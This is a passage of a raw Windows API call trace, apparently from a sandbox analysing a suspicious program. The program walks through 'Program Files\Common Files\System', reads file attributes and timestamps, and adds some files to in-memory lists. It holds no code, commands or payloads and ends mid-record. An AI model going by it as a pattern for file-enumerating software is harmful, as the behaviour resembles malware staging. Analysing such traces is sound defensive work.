[0064.278] GetLastError () returned 0x12 [0064.278] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed720) returned 1 [0064.278] FindClose (in: hFindFile=0x2e9100 | out: hFindFile=0x2e9100) returned 1 [0064.278] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d6868) returned 1 [0064.278] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0064.278] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="TTS20", cAlternateFileName="")) returned 0 [0064.278] GetLastError () returned 0x12 [0064.278] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed698) returned 1 [0064.278] FindClose (in: hFindFile=0x2e9080 | out: hFindFile=0x2e9080) returned 1 [0064.278] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed610) returned 1 [0064.278] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebe28) returned 1 [0064.278] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft", cAlternateFileName="")) returned 0 [0064.278] GetLastError () returned 0x12 [0064.278] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0064.278] FindClose (in: hFindFile=0x2e8f80 | out: hFindFile=0x2e8f80) returned 1 [0064.278] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebeb0) returned 1 [0064.278] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebda0) returned 1 [0064.278] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf53e90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="System", cAlternateFileName="")) returned 1 [0064.278] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebda0 [0064.278] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\System" (normalized: "c:\\program files\\common files\\system"), fInfoLevelId=0x0, lpFileInformation=0x119f3c0 | out: lpFileInformation=0x119f3c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf53e90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0064.281] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System" (normalized: "c:\\program files\\common files\\system"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x124 [0064.281] SetFileTime (hFile=0x124, lpCreationTime=0x0, lpLastAccessTime=0x119f404, lpLastWriteTime=0x119f404) returned 0 [0064.281] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0xa06d30 [0064.281] DeviceIoControl (in: hDevice=0x124, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xa06d30, nOutBufferSize=0x4000, lpBytesReturned=0x119f45c, lpOverlapped=0x0 | out: lpOutBuffer=0xa06d30, lpBytesReturned=0x119f45c, lpOverlapped=0x0) returned 0 [0064.281] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa06d30) returned 1 [0064.281] NtClose (Handle=0x124) returned 0x0 [0064.281] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebda0) returned 1 [0064.281] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebda0 [0064.281] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebeb0 [0064.281] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0064.282] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\System\\*", fInfoLevelId=0x1, lpFindFileData=0x119f20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f20c) returned 0x2e8f80 [0064.284] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf53e90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0064.284] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ado", cAlternateFileName="")) returned 1 [0064.284] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbf4f1c09, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xbf4f1c09, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x128ffb00, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x7200, dwReserved0=0x0, dwReserved1=0x0, cFileName="DirectDB.dll", cAlternateFileName="")) returned 1 [0064.284] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebe28 [0064.284] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebe28) returned 1 [0064.284] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebe28 [0064.284] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebe28) returned 1 [0064.284] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebe28 [0064.284] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebe28) returned 1 [0064.284] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0064.284] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd885082, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadc", cAlternateFileName="")) returned 1 [0064.284] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf53e90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf53e90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSMAPI", cAlternateFileName="")) returned 1 [0064.284] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd885082, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x5f324e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5f324e30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Ole DB", cAlternateFileName="")) returned 1 [0064.284] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcc5390a1, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xcc5390a1, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x4556f160, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0xd8800, dwReserved0=0x0, dwReserved1=0x0, cFileName="wab32.dll", cAlternateFileName="")) returned 1 [0064.284] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebe28 [0064.284] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebe28) returned 1 [0064.284] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebe28 [0064.284] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebe28) returned 1 [0064.284] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebe28 [0064.285] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebe28) returned 1 [0064.285] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc0f46d56, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xc0f46d56, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x1f9ed5b0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x10c400, dwReserved0=0x0, dwReserved1=0x0, cFileName="wab32res.dll", cAlternateFileName="")) returned 1 [0064.285] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebe28 [0064.285] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebe28) returned 1 [0064.285] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebe28 [0064.285] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebe28) returned 1 [0064.285] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebe28 [0064.285] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebe28) returned 1 [0064.285] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc0f46d56, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xc0f46d56, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x1f9ed5b0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x10c400, dwReserved0=0x0, dwReserved1=0x0, cFileName="wab32res.dll", cAlternateFileName="")) returned 0 [0064.285] GetLastError () returned 0x12 [0064.285] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\System\\*", fInfoLevelId=0x1, lpFindFileData=0x119f20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f20c) returned 0x2e9080 [0064.285] FindClose (in: hFindFile=0x2e8f80 | out: hFindFile=0x2e8f80) returned 1 [0064.285] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf53e90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0064.285] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ado", cAlternateFileName="")) returned 1 [0064.285] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebe28 [0064.285] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\System\\ado" (normalized: "c:\\program files\\common files\\system\\ado"), fInfoLevelId=0x0, lpFileInformation=0x119f108 | out: lpFileInformation=0x119f108*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0064.285] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado" (normalized: "c:\\program files\\common files\\system\\ado"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x124 [0064.286] SetFileTime (hFile=0x124, lpCreationTime=0x0, lpLastAccessTime=0x119f14c, lpLastWriteTime=0x119f14c) returned 0 [0064.286] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0xa06d30 [0064.286] DeviceIoControl (in: hDevice=0x124, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xa06d30, nOutBufferSize=0x4000, lpBytesReturned=0x119f1a4, lpOverlapped=0x0 | out: lpOutBuffer=0xa06d30, lpBytesReturned=0x119f1a4, lpOverlapped=0x0) returned 0 [0064.286] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa06d30) returned 1 [0064.286] NtClose (Handle=0x124) returned 0x0 [0064.286] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebe28) returned 1 [0064.286] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebe28 [0064.286] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed610 [0064.286] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed698 [0064.286] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\System\\ado\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0x2e8f80 [0064.289] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0064.289] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa4c91ed4, ftCreationTime.dwHighDateTime=0x1ca0409, ftLastAccessTime.dwLowDateTime=0xa4c91ed4, ftLastAccessTime.dwHighDateTime=0x1ca0409, ftLastWriteTime.dwLowDateTime=0xa06f97f7, ftLastWriteTime.dwHighDateTime=0x1ca03fb, nFileSizeHigh=0x0, nFileSizeLow=0x3912, dwReserved0=0x0, dwReserved1=0x0, cFileName="adojavas.inc", cAlternateFileName="")) returned 1 [0064.289] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0064.289] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0064.289] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0064.289] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0064.289] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0064.289] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa04040 [0064.290] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed720 [0064.290] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0064.290] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa4085067, ftCreationTime.dwHighDateTime=0x1ca0409, ftLastAccessTime.dwLowDateTime=0xa4085067, ftLastAccessTime.dwHighDateTime=0x1ca0409, ftLastWriteTime.dwLowDateTime=0xa0661283, ftLastWriteTime.dwHighDateTime=0x1ca03fb, nFileSizeHigh=0x0, nFileSizeLow=0x3a67, dwReserved0=0x0, dwReserved1=0x0, cFileName="adovbs.inc", cAlternateFileName="")) returned 1 [0064.290] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0064.290] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0064.290] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0064.290] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0064.290] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0064.290] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa04060 [0064.290] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed500 [0064.290] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0064.290] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0064.290] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6129cc5, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0x6129cc5, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x80fe7780, ftLastWriteTime.dwHighDateTime=0x1ca0422, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msader15.dll", cAlternateFileName="")) returned 1 [0064.290] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0064.290] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0064.290] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0064.290] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0064.290] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0064.290] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0064.290] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f7da10b, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8f7da10b, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8f80026c, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x16e000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msado15.dll", cAlternateFileName="")) returned 1 [0064.290] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0064.290] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0064.290] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0064.290] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0064.290] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0064.290] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0064.291] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x833eacc3, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x833eacc3, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x833eacc3, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msado20.tlb", cAlternateFileName="")) returned 1 [0064.291] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0064.291] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0064.291] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0064.291] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0064.291] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0064.291] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa04080 [0064.291] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebf38 [0064.291] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0064.291] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x833eacc3, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x833eacc3, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x833eacc3, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x12000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msado21.tlb", cAlternateFileName="")) returned 1 [0064.291] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0064.291] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0064.291] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0064.291] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0064.291] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0064.291] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa040a0 [0064.291] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa06d48 [0064.291] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0064.291] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83410e23, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x83410e23, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x83410e23, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x17000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msado25.tlb", cAlternateFileName="")) returned 1 [0064.291] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0064.291] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0064.291] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0064.291] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0064.291] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0064.291] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa040c0 [0064.291] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa06dd0 [0064.292] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0xa00) returned 0xa08d30 [0064.292] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9fa458) returned 1 [0064.292] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0064.292] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, 